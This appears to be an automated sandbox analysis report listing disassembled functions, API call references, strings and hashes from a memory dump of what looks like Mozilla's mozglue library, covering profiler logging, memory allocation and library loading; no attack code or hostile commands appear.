MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

l, xrefs: 6C4E4578
GUl, xrefs: 6C4E44FC
NativeNtBlockSet_Write, xrefs: 6C4E46F7
kernel32.dll, xrefs: 6C4E44CD
WRusr.dll, xrefs: 6C4E44B5
user32.dll, xrefs: 6C4E4557, 6C4E463F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
Thread , xrefs: 6C51F789
" attempted to re-register as ", xrefs: 6C51F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C50D0CB
<jemalloc>, xrefs: 6C50D268, 6C50D311
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
MOZ_CRASH(), xrefs: 6C50D277

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
